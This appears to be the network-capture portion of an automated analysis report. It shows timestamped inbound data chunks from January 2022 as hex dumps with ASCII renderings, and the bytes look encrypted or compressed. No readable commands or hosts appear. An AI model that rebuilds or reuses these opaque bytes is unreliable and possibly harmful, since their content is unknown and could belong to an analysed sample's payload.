2022-01-14 03:59:51 UTC	4190	IN	Data Raw: 70 93 17 14 40 dc a1 fc bd f8 c6 8a e3 e4 ee 56 f9 e7 5c 61 8c 82 63 ee 2b 5e dc 14 94 f6 c7 f8 77 46 7c f6 c2 50 d0 e2 9e ef 16 40 62 76 4a 1e 21 a3 75 b0 e8 ae 07 7c bb bd 86 ca 9c 76 aa 56 7a 8b 72 ba 6b cb 3a 6f 59 f1 92 b5 84 8e be 35 02 08 08 bf 57 9f 2f a5 f4 34 17 5e b1 2b 65 28 b2 46 b9 79 8f 4e 19 ad b8 fd 32 28 53 c4 9a 3f 37 1d c0 1e d3 2c 48 12 3a 59 14 07 ab b4 03 0d 01 e0 71 30 dd 3d 43 45 f4 02 ad e3 26 11 2f c0 d2 89 20 76 77 e5 81 e1 f9 eb 65 8d 31 8f 2f 59 11 00 ce 37 04 2a a1 02 c8 2c 72 16 71 d7 a3 4c 9e 88 30 84 bc d2 aa b2 da dc 16 21 ef 2f 1b 7c 95 92 16 01 3d 9a b8 08 eb 01 77 1e c6 23 a3 38 97 8e 7c 1d 99 2e c6 f2 d2 53 f8 e7 0f 68 4f b6 a1 42 e0 df d6 4f 77 f9 ac a4 73 3f 3e bc 20 3e d5 c9 b5 ec a6 17 78 c8 d5 a2 57 d3 0c bc 61 Data Ascii: p@V\ac+^wF\|P@bvJ!u\|vVzrk:oY5W/4^+e(FyN2(S?7,H:Yq0=CE&/ vwe1/Y7*,rqL0!/\|=w#8\|.ShOBOws?> >xWa
2022-01-14 03:59:51 UTC	4206	IN	Data Raw: f9 9a ab ea dd f1 d4 ea 61 59 13 ca ad 6b fa 99 29 9e 7b 0b 3f d8 47 57 52 63 17 23 41 3b 51 4d 4c c6 ab 9d 10 b6 48 c3 8c 30 10 b8 2a 7f 68 05 30 da 06 d5 28 37 69 42 1c 62 2b cf 23 67 a2 27 43 29 a7 98 c8 32 7a cb a2 27 8a 79 78 df 39 7b f4 18 8f 58 a2 85 d7 92 f3 c8 5b 5d a4 5a 6c 8e 19 37 0c 05 24 c0 29 8a 20 29 67 19 b6 f9 74 62 e1 d5 a0 a6 52 d2 be 54 31 ff 44 7d 27 0b 01 51 8b 40 99 0c 9a c8 69 f2 81 1f 6d 19 6a 39 20 51 94 c4 a1 28 a3 c6 ee e2 cf 0f 82 d1 bd c5 4b ae b3 25 77 3d 1d 38 3e f0 2e 29 0a df 79 f8 93 8f 74 13 c6 a6 54 33 89 5c 60 1a df 2a c2 23 0a 9b bc 79 bc 06 56 a1 d7 e1 58 ae 4e ff 03 89 84 00 9d 7d 54 e6 71 c4 ff 9d cd 6f 45 fd ba e7 ec 5a b3 17 40 66 b7 89 0e 9a f0 43 6d 88 99 b7 0a c1 35 cc 1e eb 57 1d d1 90 92 24 0b 0a fd ab 48 Data Ascii: aYk){?GWRc#A;QMLH0h0(7iBb+#g'C)2z'yx9{X[]Zl7$) )gtbRT1D}'Q@imj9 Q(K%w=8>.)ytT3\`#yVXN}TqoEZ@fCm5W$H
2022-01-14 03:59:51 UTC	4222	IN	Data Raw: 61 a8 03 e6 a5 a4 16 44 0c 0e 35 24 29 31 c6 68 ca ec 14 2b 3e ca 9f 67 df 2b 13 b1 62 e8 0a 77 ec 4c 3f 54 6b 55 f4 45 be 0f 31 63 c4 d9 b8 3d d1 07 92 61 73 16 c9 38 08 ea 54 14 1d c3 3c 00 be 66 ee 47 11 fb 6b e9 27 6c 73 80 0f 31 97 80 13 17 ce cf 8a f8 f0 ce 2c 13 44 d4 31 1c 9f 52 ce c6 44 ff 78 48 cc ac 2d a7 b7 d3 d9 47 6d 9c 06 26 2a fd f0 7a f8 80 91 47 fb dc 69 05 ef 56 c8 64 c8 7e 9d 3a 4f de e6 1b ef 9a a6 17 e1 6f 7c 49 7a 2f 96 5b 84 68 12 a6 0f ee e2 c8 a8 b6 c3 48 12 28 4a e7 0f 6c 2c e7 79 2b 7d ff 7c 7a 67 dc ff 2e b9 aa 63 43 f9 38 5d 0e 1b 6d 03 12 5b ca 72 c8 70 fb ee aa 1c b0 fe 51 26 e6 70 ba ad 1a c7 ed bc d2 65 c9 da 19 a3 ab 1a e3 a4 bc a0 8c a8 cd f6 b6 d4 78 62 1e 51 14 5c 44 a2 bc 3d 19 d3 3f 16 ce ec 20 90 01 10 03 7d 70 57 Data Ascii: aD5$)1h+>g+bwL?TkUE1c=as8T<fGk'ls1,D1RDxH-Gm&*zGiVd~:Oo\|Iz/[hH(Jl,y+}\|zg.cC8]m[rpQ&pexbQ\D=? }pW
2022-01-14 03:59:51 UTC	4238	IN	Data Raw: 80 c5 fe 08 93 04 d3 24 00 d4 3d 70 67 29 70 29 ea aa 64 fc b0 81 47 e1 4b 8c fb 26 ef f2 b3 17 58 ae b2 ac 23 ec f3 be 38 48 0f ed b8 a8 6f 2d af 5a ac 1e 28 fa 84 7d 87 4c 22 e6 db 2f ea 4d a8 46 b4 38 61 0d 90 b7 4d 36 85 1d eb ef ce a4 c4 03 90 64 44 c0 fd 1c b1 8b d3 94 f5 f8 c3 d4 94 51 72 ed 9a e8 a2 b1 96 3d e4 fd 34 c2 d3 bf 29 24 b5 b6 1a aa 89 8e 49 61 c6 c4 e0 fc ec 6b 6b 14 41 21 dd 7f 18 d5 b4 2e bf cf 4a 2d 6d ec 8a ed 07 b0 2e b0 fa 52 84 13 72 66 f1 6f c0 d8 a8 e6 61 fe 8c 6a 00 be f1 a3 a3 4e e7 90 f0 f9 0d 7e aa eb 2c 31 03 95 93 ac 6f 6d ba d3 78 5d f1 5d 1b f2 4a 55 87 4e be 53 71 e2 2e e1 b8 3e 36 0f 8e bc ee 3b cb 1a 3c e3 e6 e6 cd 97 32 3d 99 2a 24 ae 50 e5 1c a4 66 c9 a3 30 bb 07 99 a7 fc 13 cd db 6a e8 ea cc 65 08 a5 82 a9 5d b9 Data Ascii: $=pg)p)dGK&X#8Ho-Z(}L"/MF8aM6dDQr=4)$IakkA!.J-m.RrfoajN~,1omx]]JUNSq.>6;<2=*$Pf0je]
2022-01-14 03:59:51 UTC	4254	IN	Data Raw: cd a0 5e 86 d3 89 dc ec 77 5c 51 e4 6e 3c 31 7b 61 0f 04 15 e7 7a c2 d4 bc d0 af 10 c2 60 5d aa 1c 0d ce 33 1a 74 48 fc c9 68 46 04 85 dc d9 69 f8 4a b0 a6 bd 81 1b 28 b2 e8 6a ad 02 c1 8d d8 5c 0c 2d 23 2e a7 ee 45 f9 d7 72 47 27 f0 91 21 c5 f2 8d 1e ed 9e 52 78 da e2 77 ee 1f 65 91 e9 e5 10 03 c3 81 f4 78 01 a4 df da 78 e9 a9 a8 64 00 2e 77 6d 20 aa 52 a4 6b cf 39 f1 1b 7b ff 5b 19 b3 6a 25 ec e6 86 53 67 04 fb 06 c7 b4 ed 91 82 c8 a3 18 82 93 9b b6 47 16 03 ea 70 a2 00 69 3d 37 53 40 19 60 08 ff 8d bd 04 91 f4 bb 1b 61 35 9e 4e 75 0d 2b ba c9 a0 37 81 b1 8f ec fd 73 76 e1 a0 e4 04 20 eb 46 d4 67 1c 11 ba 96 73 1f 04 4e 14 bf 88 23 f8 3a 61 b5 ff a9 12 8c ad 8e 73 46 14 f9 44 3b 18 68 8e cb 73 60 d6 83 e8 64 83 b4 c3 24 38 6f 58 fb f8 9d 91 bd 05 ee bb Data Ascii: ^w\Qn<1{az`]3tHhFiJ(j\-#.ErG'!Rxwexxd.wm Rk9{[j%SgGpi=7S@`a5Nu+7sv FgsN#:asFD;hs`d$8oX
2022-01-14 03:59:51 UTC	4270	IN	Data Raw: 52 e8 0f af 13 d3 5c c3 83 87 c9 f7 a1 53 49 69 1a 45 f3 74 94 00 ba 40 70 1c a5 e3 48 c7 8f 33 d1 ff db 02 5b c1 f4 ee df 56 1b 7f 43 42 cf b3 03 35 2b f0 09 af 4a ba c1 b9 2b cd 26 cc cb bb 16 60 9f 1c 65 96 be a9 e5 35 c3 18 96 cf df 1b 01 96 2d 86 48 7f 76 99 b0 17 83 f9 bd b3 2c 09 f4 df 83 92 8d 7a ff 5f 91 f4 fa 10 5d 7a bf 98 33 43 4f 14 bf bf 7f 19 31 03 c2 84 36 fe b0 56 a6 a2 8d 0e 64 a3 18 dd 09 7d 08 f6 6d 66 e3 0e 22 3e d2 ff 38 05 c7 b5 3c 70 4f 96 17 9c 56 6c 3d e1 79 54 79 9d 09 ff d3 9b 3d b4 54 bd d5 e7 ff 4d 8c bc 93 f7 56 0b c8 ce 1a 1a 16 d5 49 37 ed ee d6 30 b5 51 3e 9c 40 d1 dc 9e b5 e4 5e 31 19 62 42 f9 f7 f5 2a 58 99 02 5f 97 9d 11 81 89 2d 36 73 37 51 95 95 57 c6 9c e6 7d 39 96 71 b2 6c fb d1 db 22 24 c8 cd a3 db b3 3c d1 a3 94 Data Ascii: R\SIiEt@pH3[VCB5+J+&`e5-Hv,z_]z3CO16Vd}mf">8<pOVl=yTy=TMVI70Q>@^1bB*X_-6s7QW}9ql"$<
2022-01-14 03:59:52 UTC	4286	IN	Data Raw: 10 c2 44 82 65 81 dc f2 d3 fd 5c ac 7a c4 ea 66 47 7e 67 bc ac b3 bc c4 08 28 04 30 f2 6e 8b 48 3f c4 aa 46 2a 7d a4 09 5c 28 d1 5e 01 9c 74 bb 76 ea bc 01 51 8f 3b 67 f0 5a 65 27 2e af de 40 0c 3e 5f f3 3e 2c 4e 67 f9 6f 68 f1 91 01 82 6a db ac 05 d3 19 22 a8 6d 37 78 e7 57 a5 8b 85 c1 c0 ef 69 34 cc ca b6 91 02 79 c3 61 50 ea 46 3f b8 d2 61 69 7b 50 96 e9 55 a5 fd 7d 5e b8 2e 18 17 86 8d 93 61 ab ae f2 70 9d 77 6b a2 a2 76 b9 ed 3a e4 1f ef 0b fa 49 6c b5 5a 56 a1 75 26 8e 25 0f 8a 0e 0d cd 5e ad fe fd 6b 5c 7d b1 54 11 73 5a e2 65 ed bc f9 d7 bf f7 da ac ae f0 e1 81 1d 60 f0 be e2 20 19 6b 76 33 6a 07 2b e2 bb 83 da 21 f9 a1 78 88 e9 b1 57 35 4e 92 be 2c 0e bd 74 37 34 1a cc f6 86 c8 c6 ad 16 5c b0 2b ea b6 79 e3 a3 f4 03 9a a0 ea 18 d3 79 b3 64 16 1a Data Ascii: De\zfG~g(0nH?F*}\(^tvQ;gZe'.@>_>,Ngohj"m7xWi4yaPF?ai{PU}^.apwkv:IlZVu&%^k\}TsZe` kv3j+!xW5N,t74\+yyd
2022-01-14 03:59:52 UTC	4302	IN	Data Raw: b5 c0 84 42 f6 a1 5c 36 75 9d 0f e0 34 6a bd e9 aa bb e2 93 77 81 47 20 60 ba 69 5a 33 47 27 8d e2 f2 f9 fc f3 9b 7a 06 67 51 c7 87 fc dc 2f 00 44 fc 97 30 8c be e5 a1 97 98 cb 14 05 db c0 2c dc 0e 84 b7 42 8b ac d7 91 55 ae 16 74 52 e8 70 84 0a 94 dc 99 86 e5 bb 5c a3 ca 36 08 c6 1a a1 e0 9b fa e0 f9 ca ff 0c 58 9e d5 c2 4a 34 89 a7 58 d6 92 c1 8b fb ca 5c 8a 23 e1 8d 9d 8a f4 84 fa 1f 2e 8d 9a 6f 94 43 85 e2 85 d2 e9 99 53 c0 05 f5 06 aa c6 c2 41 16 54 ac af 46 a9 cb 87 e5 7d 2e 4d a3 44 f4 ad 1f d2 ac 15 5c 6a 14 f5 09 10 4c e4 00 76 9a 7a 12 92 3e a9 e6 14 be db be bd 7a 18 6a 93 f9 15 b8 bd c8 f0 d1 03 98 3f e8 a3 07 73 14 de 4c 60 8d 1c cf aa 2e 04 5c c2 16 e9 ef 1c 56 97 66 66 39 ad 66 0e 1b 42 21 20 1e 6b cd 62 b8 52 86 60 83 f1 c1 e2 f5 77 6f ab Data Ascii: B\6u4jwG `iZ3G'zgQ/D0,BUtRp\6XJ4X\#.oCSATF}.MD\jLvz>zj?sL`.\Vff9fB! kbR`wo
2022-01-14 03:59:52 UTC	4318	IN	Data Raw: 14 d7 ec e7 1b 6d f4 75 e7 ff 65 81 52 0b 78 96 98 95 d3 a1 70 6f 60 58 62 3c 51 67 eb b5 de 79 20 16 05 90 5f 23 2e f8 c1 82 a9 5d 2c 1e de 09 fc c0 43 5d 1c dc c9 6b 55 32 8d f0 4a d3 8f 8e 8e 0c 99 2e 6f 24 eb bc 19 c0 cc d7 ca ec fd 2e 31 72 cf 3d 6f 51 54 1e 06 2b fb a4 90 e7 64 9f c6 3d 8a 2e c4 c7 81 10 24 b9 9f 41 ed 3a 3d d2 3a e2 63 d4 1b 56 b9 44 70 0a e3 e8 fa a2 31 9c e4 3c 7d a3 a9 de 5a 7d a5 84 9a bb e9 4a f8 5f f5 91 19 92 e1 5e 49 bf 8f d9 2f 55 71 f2 17 99 58 17 48 3b 5a 70 b3 a1 0b 4d 6a ad 4a 29 7a f3 1a 55 58 e6 79 d7 a1 03 51 62 37 0b 19 cf 14 ca ca 0f 46 ca fa 6e 75 6e 06 ab e4 df a5 e6 99 75 5c e1 cf ff 56 8e e7 e0 3d 31 c2 cd a2 5c f6 b5 04 76 80 9d 19 29 cf d5 ff 54 cd a8 19 0d 16 55 42 2c 43 76 17 a9 c5 f2 4c fe 29 48 19 39 c8 Data Ascii: mueRxpo`Xb<Qgy _#.],C]kU2J.o$.1r=oQT+d=.$A:=:cVDp1<}Z}J_^I/UqXH;ZpMjJ)zUXyQb7Fnunu\V=1\v)TUB,CvL)H9
2022-01-14 03:59:52 UTC	4334	IN	Data Raw: 39 3d de 0d 8a 3f 38 9b 38 2a 9f 49 ed 20 78 a0 83 bb 08 d3 2f 52 46 06 53 c1 e0 47 63 df f5 1c 39 45 37 b1 b3 4b 48 ee 5d 07 b1 67 30 3f 61 8a 16 96 dc 90 cd 6a 13 10 70 7f de c0 d1 29 86 cf a3 dc ed 6c 2d 57 d4 35 99 21 c0 fd d5 d7 60 7c 58 a3 dd 61 ac fb f1 a3 ee db 47 bb f6 f8 61 c2 a0 54 c1 55 44 9f 3a 0f 94 3b 60 0f f3 d5 0e 40 a7 e0 42 d1 61 55 49 a2 6d e6 36 d3 92 2f e2 c9 28 dd 4a ba b7 2f f0 69 cd 29 a8 c9 64 b0 72 7c 80 6b a9 b6 e3 39 48 82 60 a2 dc 3a 63 ce 5c 0b 0d 13 b5 f6 f1 1b 3a 3d e5 71 4e ae 14 bb 3b 80 ec 4e b8 27 3f 45 a5 b6 c9 32 25 94 bf eb 14 63 3e f9 b6 f7 28 84 b2 dc f2 72 5b 0d 2e 4b 59 3b db 99 4b f2 8c c7 9d 36 ed 4a 98 c8 aa 64 99 45 dd 0d be 2f 18 09 3a b7 86 17 e8 be 38 b1 b1 ad 19 ae 5e 77 3f 96 6b 24 68 5b 81 15 6d d9 46 Data Ascii: 9=?88*I x/RFSGc9E7KH]g0?ajp)l-W5!`\|XaGaTUD:;`@BaUIm6/(J/i)dr\|k9H`:c\:=qN;N'?E2%c>(r[.KY;K6JdE/:8^w?k$h[mF
2022-01-14 03:59:52 UTC	4350	IN	Data Raw: 51 3c 26 2c a9 bc e4 b4 fd df e3 9a 39 1b 84 ed b2 01 20 be 8c 81 ad 56 72 09 8f 70 94 f1 12 e2 40 6b c6 6b f2 b4 f8 93 22 49 83 3f e8 dc 33 78 9b 43 a2 89 c3 b2 a9 79 72 1e d1 30 95 1c ec 13 2f 7c 14 34 45 8e 67 e7 42 6d 14 73 dd dd 70 d4 d3 50 70 bc 5e d6 55 b3 c2 df 00 bb c7 58 42 79 5d c6 8a 38 7c ce 6e 0c 4a 01 81 82 5b b8 3c 3d ef 23 4f 09 32 a8 34 44 17 1e ef e7 73 b7 b5 13 25 42 f1 ec 0f 74 68 7e 7c 2e ba 5f 52 a0 27 37 91 d1 37 59 09 b5 1a bf be ad 3f fb 48 c4 bd da 54 e5 e3 c2 49 cb 1a 17 ea 22 b1 88 ae c9 4f 30 3b 5f 1a 58 bd f1 87 cb bf 52 a9 10 f1 f2 ce ec a5 f1 0c 9c 77 73 e4 a4 be 5f 73 4e cd 37 b1 f8 46 b4 1f 17 02 41 d8 67 77 de 51 58 99 d1 03 df ce 89 02 d2 38 c0 2d 09 9d b1 ef e8 46 88 ab 1f 81 3a 5c 49 9c f0 8a 77 94 6e 96 67 0f 7d a0 Data Ascii: Q<&,9 Vrp@kk"I?3xCyr0/\|4EgBmspPp^UXBy]8\|nJ[<=#O24Ds%Bth~\|._R'77Y?HTI"O0;_XRws_sN7FAgwQX8-F:\Iwng}
2022-01-14 03:59:52 UTC	4366	IN	Data Raw: 6e bc db 3d cd 3a 99 7b 02 03 4c 5e 74 2a 9a aa 3d fd c3 b1 7f ac 32 ab a9 29 11 2c e3 c6 f2 f7 ad ed b5 ab 31 e9 7d f4 33 27 c8 78 1b 19 26 d0 18 66 cd ac cf 23 81 ef ca 5a 54 15 15 95 bb 34 86 1d 89 3a 61 c4 f7 dc cd b7 8e c6 38 a6 f1 28 46 dc b7 d0 ba 52 03 01 e3 e1 26 ac 80 4d 04 53 75 83 65 d5 d4 e1 22 12 a6 24 5b 2e b1 e8 2d ac 1a d1 1c 58 5a 92 da 9f 9c 79 6c 48 54 5c 02 32 56 15 5b ce ba 5b e3 4a cd 56 d0 c6 59 18 ee 8b 38 9b 12 03 3f 6f 21 9d c2 b8 cb 08 33 d2 60 d8 e6 ca ef 0f 94 d5 4e af 0b 32 09 56 84 65 8e 50 db f5 66 10 b9 25 e5 4e 4b 5c dc 5b 53 94 72 6a cf c2 6d 29 05 3e 75 31 ec ee a5 61 d0 2b 7a 00 1b 9a 3f a6 82 a3 ad 55 5e b6 a5 d8 a3 68 9b 7d 33 db 3a 0b e1 a3 bc ce 25 63 ba d2 4b 80 de 08 cd 3a 3f 11 d4 96 5e 84 6a f4 db 86 27 c8 bd Data Ascii: n=:{L^t*=2),1}3'x&f#ZT4:a8(FR&MSue"$[.-XZylHT\2V[[JVY8?o!3`N2VePf%NK\[Srjm)>u1a+z?U^h}3:%cK:?^j'
2022-01-14 03:59:52 UTC	4382	IN	Data Raw: 1c 34 22 b3 4e f4 53 de 8a 21 a5 96 1c e0 a5 4f bb 36 ce bc 27 34 11 6e 66 08 2b dd a4 08 af 10 2c 03 0f 2a db b7 e3 6a 14 da 31 d2 81 15 a6 9d 7a 2f da 3d 5d 4a 50 ba ab 52 1b 59 a5 04 07 41 3b a5 cb 10 0a d3 a9 64 a5 4b 30 6b 06 53 ff 2a ee 6d f4 34 c3 07 c0 ca 4e 14 6e 1e 87 6d 81 84 2a 9d c3 a1 77 ee a9 f0 f5 ad ed 8f 40 d4 33 8d 20 f7 d2 2a 7f 0a c8 72 c1 45 13 43 51 bb b0 04 f4 df 24 82 81 90 66 73 59 53 5a aa 88 41 f4 97 87 04 b9 75 e4 85 6f ec 64 7d 14 2f 37 68 4a ce 7b 31 c8 70 a0 3d 5f 0b f8 ed 8f e0 79 58 40 8e fc 55 ef be 95 34 16 80 17 a8 13 a5 8b 92 c6 7d 75 cb 4c 50 e1 8e dc bc b2 87 c5 a7 41 3f 68 34 23 23 56 02 03 f1 ef d5 7e 84 98 0b 18 6a 23 af 4c 3a b5 07 2d 9c bc 72 ea 2b 14 bd 22 a4 72 e0 da 6a c9 6c 99 38 8b 1f bc 67 2d 07 bf 1d fa Data Ascii: 4"NS!O6'4nf+,j1z/=]JPRYA;dK0kSm4Nnmw@3 rECQ$fsYSZAuod}/7hJ{1p=_yX@U4}uLPA?h4##V~j#L:-r+"rjl8g-
2022-01-14 03:59:52 UTC	4398	IN	Data Raw: 0a 19 0b 51 35 f2 6c 47 56 51 0d bc 16 4a 73 34 9b 8f b3 7c 0e e8 57 d3 cf 5e 89 78 79 88 41 ad 40 d5 81 fa 20 85 99 2f 2e 3b 4c f6 7f dd c6 5b 1a 01 31 f9 98 85 ff 5f 54 cc 0c f8 1a 2a a6 0c 9b 04 8d 89 28 36 ea 00 f8 6a 43 fe 50 b2 79 60 c3 b0 df 9a a1 b4 25 4f b3 a2 83 aa 70 6d 55 72 1c 75 0e ef 5b 41 6d b6 ec 79 df 98 50 44 57 c6 19 27 fe 40 39 37 38 65 91 67 df 30 60 f2 9b ce 98 bd d6 db b5 73 d3 e1 17 ab 13 a0 f8 d2 1e c0 e2 68 c4 c3 a6 a3 4b d0 6b cd bf 19 04 06 8e 61 ad 4a 89 b1 1a dd 84 a6 5c cb fe 3e 24 bd ec b3 11 a5 de 55 bd 7e 80 13 5f bb e4 43 94 45 b1 92 f6 e0 89 fd 8e 82 fb a7 1d 46 76 6e cf dd 5f d2 e8 ba a8 23 d8 b7 d2 1d 08 09 7c cd d3 ca 40 78 7b 62 70 f8 c8 e0 7c e0 35 c2 38 8b df 87 19 a5 bc ee f5 f0 6d e8 29 dd e5 4c 0c b6 9a 74 cb Data Ascii: Q5lGVQJs4\|W^xyA@ /.;L[1_T*(6jCPy`%OpmUru[AmyPDW'@978eg0`shKkaJ\>$U~_CEFvn_#\|@x{bp\|58m)Lt
2022-01-14 03:59:52 UTC	4414	IN	Data Raw: b1 0b 1a d9 13 76 4e b4 5c cc e6 99 41 c1 d9 32 d3 72 1e 67 77 46 0e 15 32 06 ed f6 af 7e e5 77 c1 08 0a 1f 02 fb 79 cc 44 82 80 47 8b 80 2b d6 7c c7 6d 53 d6 09 38 fd fc a0 cf 12 9f 52 9f c3 c0 48 0a d9 c9 68 d6 ff 86 9c 30 ec 69 df e8 72 cc 39 00 16 b0 6e 45 fb 65 b5 f2 31 9c d3 28 00 e0 7d bc 3a 57 e7 b9 a7 9f 80 89 7f b6 6d 9d e7 b7 a8 64 92 f8 a2 b5 d5 d2 7c e4 51 2c 51 54 fb 01 73 03 dc 37 1e cc f4 7e ff b1 7d 2b f7 d9 71 1c 92 57 11 ac a6 6b da c1 ae c2 11 e8 03 d4 52 60 e1 18 b2 91 41 6d f4 f7 48 82 3c 4b f3 ce d3 52 c5 15 ce 42 c7 58 9d 2d 06 6b f6 62 24 38 cb aa ac fa af 98 b4 d9 d7 59 6c c7 f0 81 1a 72 5c 57 fa 60 39 77 3d 56 87 90 d3 ff 5d a2 e4 2f e7 d2 2d f6 11 84 33 af ea fb 84 27 ff f7 e2 78 cc 50 fe ca d6 3e 80 13 38 18 4b 65 20 f9 55 1c Data Ascii: vN\A2rgwF2~wyDG+\|mS8RHh0ir9nEe1(}:Wmd\|Q,QTs7~}+qWkR`AmH<KRBX-kb$8Ylr\W`9w=V]/-3'xP>8Ke U
2022-01-14 03:59:52 UTC	4430	IN	Data Raw: 6d b7 c2 92 0d 3b 78 31 82 c5 63 65 7e 66 d9 47 85 3d 4d 08 34 29 74 36 0a 1b a1 4d 36 bf c1 b0 93 b3 d5 fb f3 d2 a7 a5 6b 1c 2e 7b bf cd a2 e6 2d af 4e 0d b2 a8 fd 77 ae dc 91 3c f6 49 9f 13 cd 0a d9 cb bd 6d 50 38 9b 2a f6 59 30 c1 14 ab df b6 44 e6 f9 5a ad f3 8f d5 a2 26 3b a1 6d dc 00 15 4f dc 9d de 5d 09 8e 4b e8 78 96 f2 67 6b 15 da 7d b1 37 04 0b c8 7a 4c 03 90 0c 22 25 50 a0 6f 29 92 da 4c 0b 18 1d 31 ca 21 85 80 e5 46 0e 50 fb cb 9e 22 40 73 df 9e 65 f0 cf 68 4e 38 24 71 93 a8 55 78 46 b3 44 4c fa d8 2e a0 3b e6 a3 99 c7 a4 c4 c0 9c d5 13 a6 d4 61 29 49 f7 1b 57 ba 2b 2b 45 da a0 cf aa 7c d7 24 38 55 e9 5a fa 73 14 f8 83 3e c2 1e d9 2b 0d a9 be 27 3d 23 70 a0 8c 8f ab 8d 73 88 22 dd cb 64 86 66 2a 1e 6b a2 06 f6 10 89 3d 7f 0e 9f 93 de da 98 1f Data Ascii: m;x1ce~fG=M4)t6M6k.{-Nw<ImP8Y0DZ&;mO]Kxgk}7zL"%Po)L1!FP"@sehN8$qUxFDL.;a)IW++E\|$8UZs>+'=#ps"dfk=
2022-01-14 03:59:52 UTC	4446	IN	Data Raw: ef 18 64 c8 48 50 8e fb 9f 9b e2 46 3d 9d f7 b3 d1 11 56 1d dd df 0f 28 83 f2 31 61 c0 81 a7 93 06 37 26 85 40 0b bc c9 5a 2d 8b 57 f5 77 8c cd 1b 51 61 a0 f2 64 82 da a0 48 7b 8d dd 3e 9f e7 27 ae 64 26 34 55 a3 da b6 cf 5d bc 0f b5 01 24 b1 5b c3 60 52 7f 83 7a 03 c9 49 f5 42 76 37 0f 82 98 65 42 17 43 78 79 7a 7e 7a ce 83 8f e2 55 fd 2d 02 74 c2 0e 27 6f a1 eb b3 d6 49 e9 d0 1a 3a 99 1d c8 16 6a f3 bf 7c 0c 29 9c 45 39 21 57 47 4d 5f 72 2b 0f 69 62 af 17 8d 08 cc 92 73 52 b1 7d e0 ec f7 34 a7 6e 52 8b 3d 68 b9 b7 ea b0 94 e6 5a 50 55 78 c4 f9 17 f3 71 e5 4c 47 14 e2 e4 b7 79 e1 61 ef 2a 17 a6 c2 97 f1 00 30 a1 8b a9 22 a4 99 c9 22 ed 7c 3f 1e 5e 95 c7 b4 dd 54 b1 6f 38 ad 75 42 89 5e 90 ca 00 67 a1 26 6a 0e 7d bb e8 f9 ad 18 c2 56 82 28 c4 32 a6 e0 d4 Data Ascii: dHPF=V(1a7&@Z-WwQadH{>'d&4U]$[`RzIBv7eBCxyz~zU-t'oI:j\|)E9!WGM_r+ibsR}4nR=hZPUxqLGya*0""\|?^To8uB^g&j}V(2
2022-01-14 03:59:52 UTC	4462	IN	Data Raw: d2 5b 99 d3 14 35 0b 4e 6c 9d 32 e4 ed 7e ee 53 ba 60 9f c6 c0 01 b9 19 bc cc b1 86 4a 06 6d a3 8a 03 90 43 55 f4 10 bc aa 9f db 86 9f 4e e9 e8 f6 63 97 7b 9d a4 93 1c ae b8 d4 6a 41 e1 b3 d2 d9 13 27 ad d0 ae 55 f8 f0 4c 7a 01 0b e9 6f 76 42 80 97 72 a7 f1 8f 3b a3 3f 99 de 04 6c 18 5b 48 4e bf 12 9a 4b e4 04 df aa c9 83 d7 98 89 b7 20 55 59 25 52 35 dd e0 a3 55 1a aa 93 80 88 00 de 9f d1 bf 85 3c b3 64 74 7a 66 e1 f9 ac 7f 85 cd 01 57 0c 34 72 a4 d8 33 58 22 88 23 59 1c e7 4f 77 2b 26 ce 59 a0 c4 52 26 fa 4c a9 12 26 09 f8 71 c6 8a 63 3f 88 fa 20 2d c9 cc b2 64 cd 58 1a fc 3e 87 a9 4c df 80 a9 25 10 4e 03 5b 59 3e 51 5e 57 1a fd da d0 17 84 21 76 5b 73 ab 99 f5 51 51 03 31 00 c9 bb 58 c8 f5 83 d8 84 3a 02 b5 2e 4f 23 65 47 17 3b 08 40 9a 4e 82 bc f4 12 Data Ascii: [5Nl2~S`JmCUNc{jA'ULzovBr;?l[HNK UY%R5U<dtzfW4r3X"#YOw+&YR&L&qc? -dX>L%N[Y>Q^W!v[sQQ1X:.O#eG;@N
2022-01-14 03:59:52 UTC	4478	IN	Data Raw: 40 5a dd ea 68 9b 7c 68 93 65 28 61 03 39 c8 85 65 f8 cd 95 8f 9a 0e 94 1e b2 b0 40 ed 0b ff 57 6a e9 21 3d 1d ab cc 69 ff 23 56 b2 dc b1 34 6f ea 07 b5 a5 34 6b d0 b1 56 e0 54 e6 8d c7 d9 9b 15 d0 31 84 d2 05 84 91 2f 9b 7f d5 68 d7 98 59 3f 7d e4 52 08 6d 6a 86 d4 95 65 11 57 85 9c 07 77 32 9a 2f 26 52 52 0a 95 a7 a2 d8 53 5b 84 95 d2 ae 9f 81 0a 1b 46 b0 6c ce a0 11 5c 1b c3 87 f0 7f 67 bd b7 5d 7c fc ab e2 23 71 a7 2d 70 4c 1b 0b f4 f0 2d e4 7d 4c c7 6e 95 67 38 3a ac c0 f0 2d 8c 8d 3f 4d 39 5e 4f 47 7a d7 8b 30 87 3d de 2e f2 c7 67 d8 9b 25 6e 0b 5a 76 67 07 2f 31 d9 8a 57 65 02 ed 54 c0 82 f8 38 a2 67 4d 66 42 b5 55 d0 d5 d2 0f 0a 94 76 fb ed aa db 30 2c a6 87 5c 75 09 24 87 07 c3 a0 f3 6e 11 7a 23 ed 79 9c fe f7 e4 76 15 a7 eb b4 23 bf 0f 3f 93 54 Data Ascii: @Zh\|he(a9e@Wj!=i#V4o4kVT1/hY?}RmjeWw2/&RRS[Fl\g]\|#q-pL-}Lng8:-?M9^OGz0=.g%nZvg/1WeT8gMfBUv0,\u$nz#yv#?T
2022-01-14 03:59:52 UTC	4494	IN	Data Raw: 24 2d b7 15 f6 75 cb e7 a9 16 83 ff 62 0e 02 d2 7d b4 56 f4 19 de 0b 90 c8 20 54 c2 a5 05 f2 14 ac d1 c2 21 ef 5b fa 01 31 62 e0 63 65 7f 8d cf 53 b2 00 6e 0b ae e1 2d 9f 6c 1c f2 e8 db cd 5b b3 dc 32 c0 3a ca cd a8 cd 41 a6 ef c3 32 08 38 ca 3d 54 9e 20 bb c7 69 89 68 70 e9 e5 3b d6 87 34 c6 04 e9 b4 cf fa fe 54 5b bc 23 71 7a 4f 90 ca ba 0b fb aa 6e 21 be 8a a5 b8 6a e5 d7 2b 4a 59 e1 ff bf db 29 4f 61 5f 52 53 2b fb 31 7f 20 47 91 e0 a2 79 0f 3a b7 d1 d6 0a da 4f 65 62 60 71 e5 d4 cd 97 92 5d f7 d4 39 87 8e 93 bf a4 94 c2 ba 0f 38 c9 28 e1 46 3d 17 ae a0 8e 29 bd 8e 68 13 a0 1c 89 ba e4 e6 dc 3f 57 06 99 e8 9f 7c 92 ee a1 4e 0a 15 4e 48 71 1d 9e d6 5b f2 bb fc 19 e6 6a 50 97 3d c6 eb 3d e6 57 ce 8e b3 a3 b5 e8 73 a7 bb b2 